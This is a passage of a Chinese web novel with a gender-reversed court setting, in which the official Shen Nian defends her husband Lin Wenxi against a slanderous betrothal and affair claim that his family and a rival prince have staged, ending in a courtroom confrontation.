“如今有你……”沈年握着他的后颈,“你发脾气耍小心思的时候,我倒觉得你迫切的需要我,离不开我……我有时也觉得自己很怪。” 林闻溪小声笑笑,格外欢喜起来,“如此我与三娘倒是契合,也算的上是天生一对了。” 沈年捏了下他的脸颊:“那你往后也不能故意折腾我,那碗面酸的我嘴巴里的皮都要破了。” “我也是,三娘快给我瞧瞧。” 林闻溪微微张开嘴,凑近撒娇让沈年为他检查。 “活该……”沈年伸手轻轻打了他一下脸,捏着他的下巴低头看,“那你吃的时候,脸上还能没什么表情。” “我很能忍的,三娘可比不得我。”林闻溪还有丝骄傲对我晃晃头。 沈年拍了下他的额头:“别得瑟了你,我瞧着是真破了点皮。” “呃……那三娘还好吧,我瞧瞧。” “我只吃了一小口,没事。”沈年放开他的脸,转身去找药,“谁让你逞能一口吃了那么多。” 林闻溪黏着她跟过去,“都怪三娘盯着那小侍看,让我心生嫉妒才会如此。” 沈年看了他一眼,不想提起那小侍,抓起他的手将药膏放在他手心,“好了,快涂药吧。” “三娘给我上药,我看不见。”他揽着沈年的肩,一脸被惯坏讨宠的模样。 沈年取了根小木签裹上纱布,给他小心上药,林闻溪疼的脸直抽,倒是没有喊痛。 “真乖。”沈年涂完药,在他脸上亲了亲当做安慰。 林闻溪窝在她肩上笑的甜。 “我得走了。” 林闻溪听话点点头,利落直起身,“三娘今日陪了我好久,也该走了。” 沈年想着侍卫回来报给她的那些流言蜚语,忍不住心疼的摸了下他头,“那你乖乖在家里,这几日都不要出门去。” “我一直听三娘的话都再没出去过。”林闻溪笑着看向她,“三娘怎今日这般啰嗦。” “最近不太平,霁王她手段很多……” “我好好在院里不出去,她就害不了我的,三娘放心,我不做你的拖累。” 沈年听着他的话心头一酸,隐忍着表情很快起身,出了屋门。 按书中的剧情,林闻溪明明故意将自己折腾的生了病躲过了林主君给他定的婚事,怎好端端冒出来一个女人。 还在公堂上拿了林闻溪的贴身衣物出来,不用细想就知道是林家在暗中作祟。 此时不宜在公堂上露面,林家悄声蛰伏这么久,定织好了天罗地网来等着她前去。 她乘上马车往官署中,下车行在官署的长街上,平日的同僚见了她都一个个露出尴尬同情的神色,沈年也不掩盖脸上的阴郁气势汹汹推开虞部司的殿门,走到林长淑面前。 “沈大人,我也不知五郎他竟做下此等丑事,这……实在不干我的事。” “林郎可说他从未与旁人定下过什么婚约,你们林家和那女人牵扯不清,还与她勾结在公堂上胡言乱语,还说不关你的事!” 沈年一把拽着她的衣襟,“跟我去你们林府好好问问清楚,他究竟有没有做过什么丑事!” “这都是那女子说的……沈大人该去寻她分辨,林家也是一头雾水,父亲说那退婚书明明托人寄了回去,怎知半路出了什么波折,没送到她手中。” “你们林家倒是摘的干净。”沈年松开她,笑着甩了甩手,“你进了司中许久,未见办过一桩好差事,可见难当大任,北城门口的禁军缺一位挑柴生火煮饭的,你午后便去吧。” “沈大人这分明是携私报复!” “本官身为你的上官,给你指派差事,如何能说是报复。”沈年刻意提高了声音,笑着环视殿中的官员,“你们评评理,本官是徇什么私了?” “没有……”殿中人躲闪着眼神,“林主簿,上官差遣就该领命遵从,你这般顶撞实是不该。” 林长淑道:“沈大人……你我当时在林府一叙也算融洽,如今总不能一翻脸乱咬人吧。” 沈年得意的向她一笑,将脸缓缓的向她凑近,“那又怎样?我只不过是林郎的面子上才给你们好脸色。回去告诉你父亲,他既敢拿那种污秽之事来折辱闻溪,就别怪我整死你们林家。” 林长淑被沈年的眼神吓了一跳,浑身阴森森的,转身出了官属往林家去。 短短半日的工夫,林家的两个女儿,还有出阁的两个儿子的妻主便都被连降几职,连林御史都受了波及,官位数年不进一眨眼便贬了半阶。 晚饭的时候,林家院里齐齐整整挤了一堆人。 林家二郎的妻主气急道:“这沈三娘是不是疯了死咬着不放,你们林家的事为何牵连到我头上,我辛苦数年被她一句话就给贬到底了,今日你们林家非得给我个说法才行!” 林长淑:“她连长姐都不放过,今日她看我那眼神像是要把我活吞了,可见着实是疯的不轻,如此大动干戈以权谋私,也不怕陛下斥责于她。” “她如今位高权重,而且听小道消息说沈家的长子沈季……和离过的那个,进了宫做了陛下的侍君,还颇为受宠。” 林家四郎的娘子,一向消息灵通的很,压着声说道,“陛下非要纳一个不洁之人就是想和沈家联姻,是陛下有求与沈三娘,何况林家在陛下面前又算不得什么,自然不会管。” 林御史闻言斜眼瞧了她一眼,四郎的娘子自知说错话讪笑了一下。 林御史瞪着坐着一言不发的林主君疑问道:“当初我怎记得,你只在我面前说了句你那侄女,何时两人定下婚约的,我怎不清楚……” 林主君不自然瞧了一眼林长羽,尴尬笑了笑:“只是个不起眼的庶子,我想着定便定下了,就未曾与主家禀告。” 林御史盛怒,看林主君的眼神都狠恶了几分:“你那个侄女给点银子打发了就是,还让她闹到公堂上弄的满城风雨,将沈年激成这样不肯罢休,林家真是要败在你手里!” “母亲和几位阿姐莫急,那三娘子如此看中五郎,于我们林家何尝不是桩好事。” 林长羽边给几人倒茶,边淡定道:“五郎他到底是姓林,骨肉血亲不是几句话能斩断的。兰城民乱她应了陛下要前往平叛,还能在京中待几时,待她一走以五郎眼下的声名,沈府哪里还会容的下他,五郎他又能往何处去呢?” “只能回我们林府。”林长淑不聪明的插嘴道。 林长羽笑道:“那便是了,五郎在林家手中,三娘子回不来便罢,若回来了五郎便是我林家的筹码,今日贬的官还愁她不给母亲和几位阿姐升回去。” 一人问:“可若她不走呢?” 林长羽道:“她不走便是欺君反叛之罪,这罪过可就大了,陛下绝不会容她。” “还是六郎想的明白。” 林家一院人被林长羽一番话讲的平静下来,“如此眼下五郎的名声越脏,于我们林家越有好处。” “你们说五郎他究竟有没有和那女人私通……” “你们难不成没瞧见沈三娘和五郎来林府时,他当着众人面倚在沈三娘身上的浪荡样子,他那种人一瞧就是……” 几人意味深长的啧了几声,呵呵笑起来。 69 第69章 ◎不会弃他◎ 林长漪站在堂中,听着林家一院子人对五郎不坏好意的闲言碎语,独自迈步出门仰头瞧见林家祖母所亲手提的牌匾,和着里头的嬉笑声心底觉得实在可悲可笑。 他虽与五郎并不熟络,但知五郎他是个有心气的人,林主君的那侄女一瞧便看的出是个不学无术的流氓混混,五郎再如何也不会与这种人有什么苟且之事。 何况当初五郎为躲林主君为他拉的这桩婚事,不惜将自己弄得浑身高烧下不了榻。 她曾去他屋中探望过,五郎拖着病体专门下榻谢了她一回。 所以她知道这事。 一想便知林主君的侄女在堂上所拿出的那件五郎的衣物,是从何处来的。 她也是侧室所生,林主君对他们这些侧室所出的孩子从未有过半分慈爱,当初她的婚事也差点让林主君胡乱定下。 林长漪一直知道林主君并非是什么正人君子,但却不知他竟心恶到这种地步,用这种下作之事毁掉五郎的声名。 还有六郎林长漪原以为他是投错了胎,才托生到林主君腹中。 今日听他那一番话,只觉得惊愕。 林家的门楣已然脏了,她觉得站在这牌匾下无地自容。 沈年迁怒于她,林长漪反觉得感激,不然此刻去见她也良心难安。 “沈大人,外面林家大姑娘林长漪求见。” 沈年刚从府衙回来,那女子见沈年不来已经离去,怪的是沈年查便了京中客栈竟找不到那女主在何处住着,她只好先请京兆尹勿要再开堂审案,暂且将流言遏制住。 她压了一肚子火,刚拿出来林家主君那边的族谱,打算再挑几人报复,便听见外面传林长漪求见。 “请她进来。” 她只与林长漪在林家有过一面之缘,还记得在林家时,林闻溪只对她还算亲近些,故而林长漪进来时,她脸色还算好。 不成想林长漪一进来就端端正正跪地向她谢罪。 沈年忙去扶她:“何故行此大礼,快起来。” 林长漪摇头推开她的手执意跪着:“五郎之事实属污蔑,想来与林府脱不了干系,我身为林府的长女自该来向沈大人赔罪,还望沈大人莫要误会五郎的清白,处置于他。” 沈年闻言眼眸一亮,半蹲下身看着她,“姐姐说是污蔑,可是知道什么内情?” “自主君的侄女进府后,五郎他便一直缠绵病榻,我还曾去看过他,他病成那般如何下地都难,说他与人有私实在是无稽之谈。”林长漪坚定道,“林家祖宗一世清明不能毁于今日,我今日来寻沈大人,是想明日在公堂为五郎作证,还他清白。” “我无端牵连了姐姐,姐姐还愿意替林郎说话?” “明日公堂上那女子一定会继续泼脏水,林家已是步入歧途,我不能让主君和六郎一步错步步错。” “六郎?姐姐说的是林长羽?” 林长漪羞愧的闭眼点了下头,“按他所说是想逼的五郎在沈家呆不下去,待沈大人离京五郎便会落到林家手中,以此做为威胁。” 沈年万分感激将人扶起,向她道了声歉。 “今日无故牵连到姐姐,还请见谅。” 林长漪摇头,“比起五郎所受的诋毁,这实在算不得什么。” 正说着,罗从宛从门外脚步匆匆闯进来。 林长漪见状低头向罗从宛见了个礼,“那下官先退下。” 沈年不放心道:“今夜便宿在此,你今日来见了我……眼下不得不防。” 林长漪点了头离去。 罗从宛走近来贴到沈年耳边,“你送到我身旁的那位甲卫回京后与从前营中的旧识搭上了线,说是霁王近来让她们保护一乡下来的女子,似乎就是今日在堂中诬告林氏之人。” 沈年捏着眉心,“怪不得我找不到她,原来林府竟和霁王牵扯在了一起,林长漪刚才前来告知我林府此举是想将林氏逼回府中,如此,到了林府手中也就是落到了霁王的笼里。” 罗从宛闻言思索道:“霁王急着在兰城挑起民变,又想将林氏握在手中,你走与不走都是一个死局,她这是要将你困死。” “我先前托你寻的那男子可有音信?” “我正要和你说,那些探子在兰城不远的一小村子里似乎发现了眉目,不过此人十分谨慎从未在外露过面,一时也难以确认。” 沈年沉重叹了一声,抬眼郑重的看着罗从宛,“那男子曾主动来见过我,我亲自去找他或许会见我,只是林氏他向来与母亲和父亲不睦,我只能将他托付给你与岳弟。” “沈妹何须与我多言这些,你我之间……我定会护林氏平安,只是那女子拿的那婚书我瞧过,做的极为真切一点看不出破绽,若你一走那女子来讨人,可就麻烦。” “你放心,我走之前定会想法子解开此事,若是解不开我会带着林氏一起走。” “你……”罗从宛想说什么又咽下,小声转过话头道,“听闻沈主君气病了,都着人传话到我这里来了,说要同你说话。” “无非就是那些话,听来也无趣。” “沈岳一直在旁照料,看样子病的不轻,你若没心力,我陪着你回沈府瞧一瞧。” 沈年支撑着回到沈府,沈父竟是真的病了。 “主君他听了外头那些传言,一时气急攻心,需得慢慢将养。” 沈岳放下药碗说罢,识趣的退了出去。 沈父一瞬苍老了许多,抓着沈年的手艰难开口道:“年儿从前宠惯林氏,我与你母亲当你是真心偏爱于他也不再多说什么了,可今日你为了他大张旗鼓的折腾林御史一家,林家再怎么说也有脸面在,年儿如此不计后果的用权压人,是真为他疯魔了不成。” “林氏他是被人污蔑,女儿只是为他讨回清白,明日公堂上有人会为他作证。” “此等丑事一旦传扬出去,谁还会信什么证言,林氏一辈子都要被人指指点点,旁人面上不敢言背地里谁不笑话你。” “那又如何?父亲不必再说这些,好生养病才是。” 沈年心烦意乱将手从沈父手掌心抽出来,从帐中出来沈修撰正在外间沉着脸端坐,手边的木盘上摆着一根细长的藤条。 屋里气氛压抑的黑沉沉,侧边站着的沈岳和罗从宛二人垂着眉头频频给她使眼色。 沈修撰一脸威严的盯着她审问:“你当真要为了一个男人弃自己的前程,弃沈家的祖宗基业于不顾。” “我不弃自己,也不会弃他。”沈年沉静走到她面前,挺直着腰缓缓跪下,“至于沈家的祖宗基业,那是母亲的执念,与我无关。” “因他一而再再而三出了多少桩事,若不是你执迷于他,霁王怎会将你围困至此,你还不知悔改!” 沈修撰抓起桌案上的藤条,用力抽在她肩上。 “等你到我这个年纪,便知道我今日教训你是对还是错!什么情爱都是虚无缥缈的东西,只有权利、名望、地位才是真的。” 沈年吃痛扶着肩一只手支撑在地上,她隐忍着痛楚没发出声音,倔强的抬着脸看沈修撰。 沈修撰又抬手抽到她的背,沈年疼的伏倒在地上,而后她又一回抬起头来。 藤条随即又落了下来。 直到第八下,沈岳哭着扑到她背上将她护住。 “母亲,阿姐她明日还要上朝,再打下去她受不住的。” 沈年背上渗了血,彻底伏在地上爬不起不来,她躺到仰头看着沈修撰,“母亲于我有恩,女儿不孝不能还之万一,这几下算是还些母亲的债,女儿不会改变心中所想,母亲若觉得我还的不够可接着从我身上讨回来。” 沈修撰看着她身上的伤,听着她的话像是丢了魂魄,颓然的松手,手中的藤条坠地落在沈年脸前。 她口中含糊念着什么,脚步飘忽的走出了屋子。 “阿姐……”沈岳哭着将沈年扛起来,伏到罗从宛背上带回从前的院中。 罗从宛给她上了药,将她衣裳的穿好。 罗从宛跟着心疼道:“你这是何苦,沈大人也是一时气愤,你说几句好话躲过去就是。” 沈年说话时有些虚弱:“躲得了一时,躲不了一世,总有这么一天的。” 沈岳抹着眼泪走近来坐到她身旁,“阿姐放心,这月底我便和罗娘子成婚。” 罗从宛闻言转脸一怔,沈岳撇嘴瞪了她一眼,“怎么,罗娘子不愿意与我成亲?” 罗从宛还是有些迟疑:“没有……你从前不是不愿,怎突然说成婚?” “你也瞧见了母亲和主君对姐夫成见颇大,成了婚我才可从沈府搬出去,才能替阿姐照顾姐夫。” 书中林闻溪一直拆两人的姻缘,眼下反成了二人的红线。 沈年忍不住笑了笑:“添桩喜事正好为我冲冲霉运,我走前喝一杯你二人的喜酒一定平安顺遂。” “阿姐伤成这样,还有心思打趣。”沈岳害羞转开话头,“不知姐夫他可还好?那些话实在难以入耳,阿姐在这里,留他一人在院中无事吧。” “我没让他知道。” “以姐夫的性子,他确实不知道的好。姐夫和阿姐可和好了没有?我想明日去看看他。” “岳弟怎知?”沈年疑惑的点了下头,“今日……大概算是好了。” “姐夫平常一双眼都在阿姐身上,挪都挪不开,那日午膳心不在焉同我说了好多没头没尾的话,一瞧就知道是与阿姐闹了脾气。” “他就这样阴晴不定的性子,如今已经好了。”沈年无奈笑着点了下头,“岳弟明日去看他就是。” 70 第70章 ◎妥协太多◎ 一早宫内传出话,今日歇朝,陛下召沈年入禁中觐见。 沈年被打伤了脊背难以站立,被宫中的内侍一路抬着进了殿内,她与其说是跪着不如说是整个人伏在漆亮的地砖上。 她听见殿后屏风内似乎有轻轻的啜泣声,捱着后背的疼痛微微抬起头来看。 却看见陛下的用金线钩织的衣摆,她又低下头。 “沈卿真是好大的官威!瞧瞧这一摞摞奏折全数都是参你的,你给朕好好念一念,说说朕该如何疼你是好?” 陛下将几封奏折抬手砸到沈年的手边,奏折撞在地上散开的声音在殿内回荡。 沈年瞟了一眼那些奏折上所书的内容,字字攻讦,一则参她为保林氏以权谋私,二则又告她逗留京中贻误出兵。 今日歇朝想来反倒是陛下有意袒护于她,不然瞧着这一封又一封的奏书,朝臣们非得将她骂个狗血淋头不可。 沈年一副任由陛下摆布的声气:“微臣惹得圣心不悦,微臣有罪,罪该万死。” “沈卿只是令朕心不悦?”陛下从案前抬腿迈步出来,俯身不轻不重的用奏折敲了敲她的头,“沈卿权柄通天一夕之间就动了林家根基,兰城的乱民前日起旗称王了,沈卿当着百官的面在朕面前请了命……如今是要欺君不成。” “臣有罪。”沈年沉默半晌张口仍是这一句。 “看来沈卿是对朕有恃无恐,觉得朕不敢降罪于你。” “臣不过一介微民,怎会不惧陛下。只是臣并非什么圣贤之人,心中所求唯有合家平安,若亲眼看着微臣的夫君被人污蔑名节尽毁而无动于衷,弃他于危局不顾而去求全大义,臣没有那样的贤德心性,臣自认有罪,任凭陛下责罚。” 沈年这几句话几乎是剖开了自己的心肺。 陛下神色微变,明明此刻站在她头顶,她伏在地上头都不敢抬,却觉得自己才是低处的那一个。 她回想起曾经跪在先帝面前说一字一句都战战兢兢时候,她明明厌恶极了先帝的寡情多疑,一心向往诗书中的贤达名士,如今不想自己也渐渐成了先帝的模样。 她盯着殿中挂着的一幅幅书画,只觉得恍若隔世。 她一直着人盯着沈年的起居言行,从侍卫报回的一封封密信,几乎每日都上值到夜半时分,她这个当陛下的都未有这么勤勉。算来她唯一的欢愉便是那位院中的郎君了,若换作是她也会割舍不下。 没有沈年她哪里能在这金銮殿安坐。 低头看见她直不起来的背,只想着实在不该再加苛责于她。 “罢了,朕就再宽限你几天时日。” 陛下甩甩袖子,重新回到座位坐下。 “陛下宽恕,微臣感恩不至。 陛下点头抬手让宫侍又将沈年抬出殿中。 “出来吧。”陛下边整理着桌案上散乱的奏折,边向屏风内出声道。 沈季抹了抹脸边的泪痕,理好仪容从后面迈步出来,他屈身行礼道:“臣侍多谢陛下宽容妹妹。” 陛下看了他一眼,沈季听命随即走到她身前,脸上挂着一板一眼的假笑。 陛下不悦轻掐了一下他的脸颊:“沈郎知不知道你对着朕一直都是这样一成不变的表情,连嘴角抬起的弧度都是一样的,瞧沈卿一眼便泪落如雨,沈郎与朕的情意看样子比不上你们二人兄妹情深。” “臣侍只是尊崇陛下,不想在陛下面前有失。”沈季一瞬将嘴角放下来,“妹妹她伤势不轻,母亲和父亲不宁,臣侍只是担心沈家不能为陛下出力才在陛下面前失了礼。” 沈季一言一行都很合规矩,入了宫来也从不争宠生事,送去的避子汤药也一碗一碗的喝。 陛下心底是想要他如此的,只是沈季真这般做了,又觉得这样没什么意趣。 她对沈季的巧言善辨没再说什么,“沈郎的妹妹朕已经放走了,就请沈郎作一曲笛声答谢朕如何?” “臣侍遵命。”沈季微笑着坐下吹起陛下赐他的那支笛。 沈季经过先前那一段婚姻,早已不是眷恋什么风花雪月的年纪,更何况他入的还是帝王之家。 他与陛下,先是君臣,而后也称不上有什么夫妻之情,他只是与陛下同寝而眠。 帝王之爱实在太过脆弱和缥缈。 与其说是爱,不如说是宠。 陛下是宠他的,不然以他的过去哪里能在宫中过得下去。 但他不妄想也不奢求其他,对于陛下他是畏惧,是服从他不敢也生不出爱意。 沈季只想沈家和他两个幼子平安。 因此即便陛下不喜他常提起沈家,他也要去提。 日久天长,枕边风吹久了,总是有用的。 今日陛下对沈年的事轻轻揭过,想来也有他昨夜在陛下面前流的那些眼泪的缘故。 朝臣们一惯是会见风使舵的,瞧沈年平安无事的宫门中回来,也跟着排挤林府中人。 尤其是林御史,她身为言官本就树敌颇多,此番更成了众矢之的。 至于被沈年赶到城北烧柴的林长淑就只能称的上可怜了,她瘦弱的身板被那些城门的禁军一跺脚就吓的腿抖。 只干了一个晨间,手上便磨出了一圈的泡。且她又哪里会生火,熏的直咳,庖厨里堵了一屋子烟,正让那些禁军找到由头寻她的茬。 “你他爹的到底会不会干活,我们站到这时肚子都饿空了,今日还能不能吃的上饭了!” 一个禁军头子拖着腰间别着把长刀,一把拽着林长淑的衣领恶狠狠的问。 林长淑被人提着瑟缩着摆手:“长官……我不会生火做饭……今日恐怕要请几位长官到外头用饭了。” “什么!” 林长淑被她一声喊吓破了胆子,慌忙捂着头求饶,从腰间掏出银两交到对方手上,“长官去买些好酒好菜吃。” 旁边另一人抓着她的手大喊:“你竟敢贿赂长官!按军纪可要打二十大板!” 林长淑慌乱的摇头,“不……不是……” 那些禁军还算仁慈,打量着她的身板只打了十板子,但人还是昏了过去。 “我的淑儿……”林主君抓着林长淑的从人被抬回来就哭个不停。 林御史也灰头土脸的回来,林长羽盯着这两人,没了昨日那般淡定。 林长漪一天一夜没回来,霁王的人传信来说她昨夜去见了沈年,他昨夜以为沈年连她也牵连,她定会一同嫉恨沈年,没料到她竟会背叛林家。 林长漪一定将他昨夜的话告诉了沈年,照这样下去沈年若一直扛着不走,还没将林闻溪弄回来,林府就得散架。 今日公堂上那女子露面,沈年一定会前去。 破局之法眼下只有一条。 他转身出门去寻了霁王的人,等那女子进了公堂告冤,沈年引着林长漪进去。 霁王那边的人按约行动,乔装成了一大堆百姓去两人的院门前猛的窜出来叫骂,门口的侍卫忙着砍射进院中的箭,顾不及驱赶那些人。 林闻溪被人护着躲进屋内,将那些污耳的话全数听得清楚。 “沈家的正君真是个不知廉耻的淫夫,还未成婚就迫不及待和女人上塌欢好……” “没见过这么下贱荒淫的男人,沈三娘迎了他进门可真是倒了八辈子霉!” “穿那种纹样的里衣,能是什么货色!” “沈三娘为了这么一个脏货,被打的脊背都要折了,真是可怜。” 林闻溪煞白了脸色,转头瞧着身边几人躲闪的眼睛,秉着呼吸似是要将自己憋死过去。 外面的箭射进来,箭身上绑着一张张纸,落到地上忽然的展开,林闻溪看着那纸上的字……全都是辱他清白的话,还有那女人在公堂上地的状纸,还有……沈年伤了背被人抬着出宫的画…… 他盯着那些纸,视线慢慢模糊,嘈杂的骂声渐渐不清晰,他什么都看不见,也听不见了。 “姐夫……姐夫……你没事吧。” 他闭上眼前依稀听见沈岳在摇着他的身体喊。 放箭声停了下来,沈岳很快将林闻溪弄醒了过来。 “三娘她真的因我被打伤了?”林闻溪崩溃哭着抓着沈岳的手问。 “姐夫……这只是那些歹人的计策,你不必信。” “你们不用想着瞒我,我不是傻子,怪不得三娘跟我说她不走了,原来……原来是这样。” “姐夫你缓缓气,阿姐她伤的并不重,而且这事有法子解。” 林闻溪摇着头,“别再说假话唬我,岳弟若不一五一十说来,我就自己出去问。” “这……”沈岳记得沈年的吩咐,犹豫着不愿意说。 林闻溪甩开他的手,下了塌拦都拦不住冲到院门,瞧见林长羽的脸。 林闻溪让他进了门。 “阿兄从前定下那桩作废的婚约,不知路上出了什么变故,没能退成婚,如今阿兄的旧情人应约提着聘礼来迎亲却惊觉你早已悔婚,另做她人夫婿,眼下正在府衙门前日日纠缠着要将阿兄从沈家讨回去呢。” “我何时另定下过什么亲事,当初那婚书上并未曾按过印章。” 林长羽不理会他的反驳,继续出言刺激他:“听闻那女人还说阿兄与她花前月下,同她诉说你在林府过得辛苦,想早日与她成婚离府,还说曾牵过你的手,你二人欢好后阿兄赠了她一张贴身里衣为定情信物。” “你少在这里胡言乱语。”林闻溪的脸色冷到极点,将手中的茶碗砸的粉碎。 “这可是那女人在公堂上一字一句亲口所说,京中人人都知晓的事,我见阿兄蒙在鼓里好心来告知你,阿兄倒朝我发什么火呢。” “呵呵就是你搞的鬼吧。”林闻溪满腔的狠厉积在眼中,林府一堆该死的阴鬼,他定要一针针缝上他们的嘴。 “与我何干,阿兄可不可信口雌黄。” 林长羽做出一脸无辜的表情,眼中却是藏不住的嫉恨:“三娘子在外面丢尽了脸面,还被母亲打个凄惨,若不是因为有你在此牵绊,她早就该走了。眼下朝中都议论她迟迟不去是有反叛之心,如此两难处境,若不是她一个人苦苦支撑你哪里还能安宁坐在这里!” 林长羽走后,林闻溪呆呆的坐着流泪。 他一直怨沈年不愿为他妥协,怨沈年只想着沈家人不想着他……他怨沈年要抛下他一个人……他怨沈年不够爱他…… 可想来,沈年已经一回又一回为他而委屈求全,一次次耐着性子哄他……一晚又一晚赶着夜回来……为他挨了母亲的责打……为他忤逆陛下。 是他在沈年身上索取太多。 70-77 71 第71章 ◎可否给我些毒药◎ 府衙知今日沈年前来,早在堂中摆好一张藤编摇椅,几个衙役搀扶着沈年半倚在软垫上,沈年自进来就目不斜视的盯着那状告的女人,冷凄凄的眼神像是要当场剥了她的皮。 这女子名为花齐,本只是林主君的偏房亲戚,在乡中混的落魄来林府打秋风的,林主君是个好面子虚荣的,难得有人来投他的门,他花几两银子招待这人回去在乡里便会吹他的名,他乐得将人留下。 林长漪与她在府中见过几面,见了她上来照着脸叱骂:“你当初在林府混吃混喝,还对五郎见色起意,觊觎他不成如今竟在此大放厥词,污蔑于他!” “谁污蔑他了,他当初在林府一打眼过去都瞧不见,是他先对我暗送秋波,我才看的上他。” 林长漪抬手想给她一拳:“真是张口就来的一张嘴,五郎如何也是官家公子,平时见得都是各家官眷女子,五郎他就是失心疯也瞧不上你这种乡野混混。” “他不过就是个外室所生的,配我是算抬举他。” 沈年掩着嘴咳了一声,身后的一位侍卫走出来抬腿就将她踹得跪在地上,“你口中之人如今是沈大人的正君,林主君既配得沈大人,你一介草民竟敢出言冒犯沈大人!” “沈年!你敢当庭命人行凶!” “你也配直呼沈大人的名讳!” 侍卫又是一抬手重重抽在她嘴上,她的脸从被扇的转到另一侧。 “这公堂之上究竟还有没有王法了!”花齐捂着脸向堂外挤的水泄不通的百姓喊道,“这京城难道成了你们沈家的!” 沈年托着脸向她漫不经心的笑,挑了下眉一副她喊得在厉害也奈何不了自己的样子。 那女子被沈年气的哑口无言,扭过脸看着地砖发呆。 林府给的银两够她花到下半辈子,而且今日出门那群保护她的侍卫更是说待事成之后,*保准她能加官进爵,要她如何也要死咬着她和林闻溪的私情不可松口。 她在乡里被人瞧不起大半辈子,这是是千载难逢的天赐良机。 她用余光瞥着沈年,明明脸上那一掌疼的脸肿,她却鬼迷心窍沉浸在自己日后也像她这般官袍加身,呼风唤雨的美梦中了。 座上的京兆尹拍了一声惊堂木,堂中肃静下来。 “花齐状告沈府夺其夫君一案,昨日只有一方在堂,一面之词不可当做实据,今日沈家带了证人和证物上堂,可辩个清楚。” 林长漪抢先一步开口,“我身为五郎的长姐,可作证花齐到林府不出两三日,五郎便发了高烧,我见其病重请了大夫进府中为他医治,有大夫当初诊脉的记档为证。” 她说罢招了招手,身后的大夫走上前,“当时刚过元宵,草民记得清楚林娘子冒着雪来请我过府去看,榻上之人确染了很重的风寒,从草民开的药方上便可看出人病的不轻。” 林长漪质问道:“五郎下地走动都费劲,哪来的力气与你幽会。” “他他总有好的时候” “沈家所呈证据清晰确凿,”京兆尹喝了一声,“本官看你根本就无法自圆其说。” 花齐手忙脚乱从袖中扯出那件所谓的里衣,“有此物林氏便抵赖不得,这上面绣的纹样和针脚可拿去问问林府中人是不是出自林氏之手。” “这种寻常刺绣轻而易举便可仿制,”沈年蔑然嗤笑了一声,“还说什么抵赖不得,依本官看根本站不住脚。” “沈大人言之有理。”京兆尹出声附和道。 “衣物能为假,林氏的身子总不能为假了,草民还记得当时与林氏在府上假山后如神仙般快活,林氏后腰上有块淡淡的胎记” 堂外的百姓听到此言轰然炸开了锅。 “你给我闭嘴!”沈年怒不可遏直挺挺的站起来,忘记了后背的疼痛,恶心至极死死掐上她的脖子。 “沈大人难不成想当着这么多双眼睛杀了我?”花齐阴险的笑道,“不过沈大人如此盛怒可见草民并未说错。” “阿姐,不可冲动。”沈岳从院中赶来向沈年报信,挤进堂中拦下沈年,附耳将院中之事告与了她。 沈年咬着牙脖颈跟着一起微微发抖,掐的那女子憋红了脸最终松了手。 她实在低估了林长羽的阴狠,他明明也是男子,却使的下这种腌臜手段。 沈年想不通他是为何,也不必去想。 她抬头看着京兆尹道:“我沈家与林家的婚契白纸黑字写的清楚,此事最难辞其咎的是林家,拿一个死无对证的信差来就想置身事外,怕是不妥。” “去林府传人。”京兆尹吩咐了一声。 林主君见到衙役来传他,慌了阵脚,然而却寻不见林长羽的人影,只好抹着汗硬着头皮随衙役来了公堂。 沈年见林主君一人前来心中暗定,林长羽可以趁虚而入去院中寻林闻溪,她正好现学现卖。 林主君可不似他有一颗七窍玲珑心。 沈年悄声跟身侧的沈岳交代了一句,“去府衙门前拦着林长羽,别让他进来。” 沈岳会意出去。 林主君站在堂中不自然的整理着衣袖。 京兆尹问他道:“退亲如此大的事,主君怎就放心单托给一个信差,也未曾确认信是否送达,也没等花娘子这头回信,便又与沈家定下了婚约。” 林主君似是千思万想后才小心道:“当时沈家催定亲催得急,又要为五郎备礼也是一时忙昏头,疏忽了此事。” “主君如此说,是承认在其中出了差错?”沈年揪着他的破绽问道。 “这人老昏聩,难免有周全不到之处,反正我林家是将退婚信寄出去了的,再说我那侄女家中贫困,山遥路远的,拿不出雇人回信的银两也是可想的。” 林主君说罢擦了擦脸,松了一口气,应当是觉得他所言挑不出错来。 “这姓花的连回信的银两都拿不出,还说林氏急着和她成婚出府过好日子,这林氏再傻也能分的清,做御史府的公子和委身一个身无分文的上门打秋风的混混孰好孰坏吧。” 沈年又盯着林主君呵呵笑道:“主君瞒着林府上下给庶子和一穷光蛋定了亲,可当真是位好父亲。” 这信差的借口本就牵强,堂中百姓听到沈年这两句话,也跟着为林闻溪抱屈。 “这林氏原是个庶子,这主君苛待庶子就罢,连婚姻之事也如此潦草……” 林主君急着辩解道:“我只是瞧见五郎与我这侄女似互有心意,侄女来同我求亲,便想着成全了两人,谁知这二人竟私下做下那等事。” “好一个成全,那主君为何之后又拆了这对鸳鸯与我沈家结亲,林府清名朝中人人称道,主君此举该不会是看中我们沈家的荣华吧!” “不……才不是……是五郎想攀高枝自己来求着我入你们沈府。” 沈年听到她想听的狡黠一笑,“主君说林氏与那姓花的有私情,不在意那女人穷困潦倒,这会说他为求荣华着入沈家,前后相违,到底什么是真的!” “五郎他生性轻薄浪荡,他改换心意如何不可?” “做父亲用这种字眼来侮辱自家男儿,你为父不慈不尊,想来是恨毒了他!” 周围人无一不向林主君投来鄙夷的目光,他慌乱的往后退,想躲开众人的视线。 却被沈年步步紧逼质问:“姓花的是你侄女,是不是你与她勾结陷害,是不是你给了她膝下庶子的贴身衣物,是不是你亲口将庶子身上的私隐说给旁人听的……是不是你!” 林主君被她震慑到口齿不清,“不是我的主意……是……” “是谁?” 林主君找回一丝神志,紧闭上嘴没再说下去。 不过有他刚才那一瞬表情,和未说完的半句话已然足够。 “好生恶毒,真是不配为人父!” “就是!就算是个庶子,哪有做父亲的在公堂羞辱儿子的,林家人张这样一副样子,内里竟是如此污秽之人。” “我看这是八成是假的……” …… 虽然婚约之事还没定论,但到底算为林闻溪挽回了大半清誉,沈年卸了一口气才感觉到后背的疼痛,她一下子屈身伏在那张摇椅上。 “沈大人可有大碍?”京兆伊喊了一声退堂,走下来关切道。 沈年后颈都是冷汗,嘶声向她摆了摆手:“京兆伊大人今日公正断案,还要多谢大人。” “沈大人何须客气。” 京兆伊寻了人来将沈年抬上担子,那花齐走时还到沈年面前挑衅,“我未曾与林家退亲,我定亲在先,按律林氏就是我的人,沈大人迟早要将人还来。” 沈岳从堂外回来,看了一眼沈年的背,骂她道:“还不快滚。” 沈岳看见她冷汗浸湿的里襟,给她闻了点安神镇痛的药膏,将沈年抬回院里时人已经安睡,林闻溪反常的沉静无言,低头一点点给沈年的背上药。 他拉好沈年的衣衫,将纱帘勾起来。 “三娘的伤几日才能好?” “阿姐她原本伤的不重,只是今日在堂上站久了,故而加重了些。” 